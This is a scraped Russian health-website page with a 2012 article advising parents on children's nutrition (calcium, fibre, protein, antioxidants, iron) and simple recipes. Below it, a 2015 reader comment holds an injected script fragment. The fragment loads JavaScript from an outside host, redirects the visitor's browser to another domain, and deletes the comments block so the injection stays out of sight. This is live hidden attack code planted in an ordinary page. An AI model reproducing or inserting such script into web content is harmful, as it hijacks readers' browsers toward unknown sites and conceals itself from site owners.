Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Детское питание: советы р...  >>  Детское питание: советы родителям
 
Обратная связь
 

Детское питание: советы родителям

Размер шрифта
14 апреля 2012 10:00
  • google_analytics: false
  • Нравится

Хотите, чтоб ребенок рос здоровым и сильным? Эти пять супер-элементов питания станут прекрасным стартом.

Кальций

Кальций – ценный минерал, который участвует в формировании костей и зубов. Он особенно важен в период роста ребенка, так как растут и кости. Лучший источник кальция – коровье молоко и продукты из него.

  1. Начните день ребенка с овсяной каши из цельного зерна с обезжиренным или с низким процентом жирности молоком и нарезанными свежими фруктами.

  2. Если вы отправляете ребенка в школу, дайте ему в дорогу обезжиренный йогурт или фруктовый коктейль на закуску между основными приемами пищи или сразу после возвращения из школы.

  3. Соки и хлебцы с кальцием. Это хорошая альтернатива для обеспечения дневной потребности организма ребенка в кальции.

Полезный коктейль. Смешайте в блендере обезжиренное шоколадное молоко и банан. Ваш малыш оценит такой десерт.

Растительные волокна

  1. Миска злаковых на завтрак – снабдит ребенка нужным количеством волокон. Прочитайте этикетку продукта и убедитесь, что там есть цельнозерновые злаки, а волокон в 100 граммах там не менее трех граммов. Обратите внимание на содержание сахара в продукте. Больше сахара – меньше волокон. Подсластите завтрак кусочками свежих, консервированных или замороженных фруктов.

  2. Пусть на столе у вас всегда будет миска с нарезанными фруктами или овощами. Так вы обеспечите ребенка дневной рекомендуемой дозой растительных волокон. Откажитесь от фруктового сока. В свежих фруктах и овощах намного больше волокон и меньше сахара.

  3. Многие дети с удовольствием едят бобовые. Эти продукты богаты белками и растительными волокнами. Консервированные бобы можно добавить в суп, салаты, яичницу-глазунью или омлет.

Полезный рецепт. Намажьте арахисовое масло на палочки сельдерея и посыпьте изюмом.

Белки

Каждая клетка человеческого организма состоит из белка, необходимого для нормального роста и развития. Белок есть в продуктах животного происхождения: мясе, молоке, яйцах, морепродуктах. Есть белок и в бобовых, орехах, овощах, зернах, но в меньшем количестве. Приготовьте для ребенка следующие богатые белками продукты:

  1. Французский тост, яичница-глазунья, оладьи, омлет – эти блюда богаты белком, железом и другими важными питательными элементами. Мало того: их очень любят дети.

  2. Приготовьте рыбные палочки или блюда из семги. Полейте семгу или другое рыбное филе соусом сальса или соусом терияки. Ребенок получит ценные белки и омега-3-полиненасыщенные кислоты.

  3. Добавьте орехи в злаковые каши, йогурты, овощи, чтобы ребенок получил достаточно белков, растительных волокон и полезных жиров.

Вкусный и полезный рецепт. Закуска из орехов и сухофруктов очень проста в приготовлении. Смешайте сухофрукты, например, изюм, сушеные бананы, яблоки, клюкву, орехи (арахис или другие) и злаки с высоким содержанием волокон.

Полезная пища с содержанием антиоксидантов

Антиоксиданты помогают организму бороться с вредными веществами, разрушающими клетки. Укрепят организм ребенка с помощью продуктов, богатых антиоксидантами, таких как, миндаль, ягоды, цитрусовые, морковь, шпинат, томаты, болгарский перец.

  1. Возьмите дольку апельсина или 100% цитрусовый сок, фрукты и мюсли с орехами и дайте ребенку после занятия физкультурой и спортом, чтобы он набрался сил.

  2. Положите ребенку с собой ланч из порезанных моркови и болгарского перца. Получится полезный ланч с растительными волокнами и антиоксидантами.

  3. Добавьте больше антиоксидант-содержащих томатов или томатный соус на пиццу, спагетти, мясной рулет, суп, тушеные блюда.

Полезный рецепт. Сделайте десерт из мороженого и фруктов: смешайте обезжиренный йогурт со свежими или замороженными ягодами черники и влейте в высокий бокал. Посыпьте сверху обжаренным миндалем.

Железо

Железо – жизненно важный элемент в человеческом организме, отвечающий за транспортировку кислорода в крови. Рацион ребенка должен быть богат продуктами с высоким содержанием железа: нежирным мясом, яйцами, рыбой, темно-листовой зеленью, бобовыми, сухофруктами, обогащенным железом зерном.

  1. Сделайте на завтрак омлет с апельсиновым соком, чтобы улучшить усвоение железа.

  2. На обед приготовьте салат из шпината, клубники, сухих ягод (клюквы) и/или миндаля и заправьте легким малиновым уксусом.

  3. Если ребенок не любит мясо, предложите ему в качестве альтернативы обогащенные железом злаки с обезжиренным молоком или йогуртом и фруктами.

Полезный рецепт. Заверните в богатую железом кукурузную лепешку тонко нарезанные кусочки индейки, нежирный плетеный сыр и сухую клюкву.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:44

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Скажите ребенку, что овощи – это вредно. Тогда он будет есть только их!   Причины запора у взрослых: от серьезных до легко устранимых   Свобода или качество?   Спросите маму, как вы родились  
07 мая 2013Удобно готовить на антипригарных покрытиях? Наверное, но скоро вам придется менять сустав! 08 августа 2011Чтобы дети ели больше овощей, их нужно прятать
 
29 июля 2011Пищевая инфекция в детских лагерях 27 июля 2011Как заставить детей есть овощи?
 

Слайдшоу

1
Супереда для вашей кожи
Что выпить, чтобы лучше работать
Может ли еда победить боль?

Тесты

1
Что вы знаете о грудном вскармливании?
Есть ли у вас избыточный вес?
Правильно ли вы худеете?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.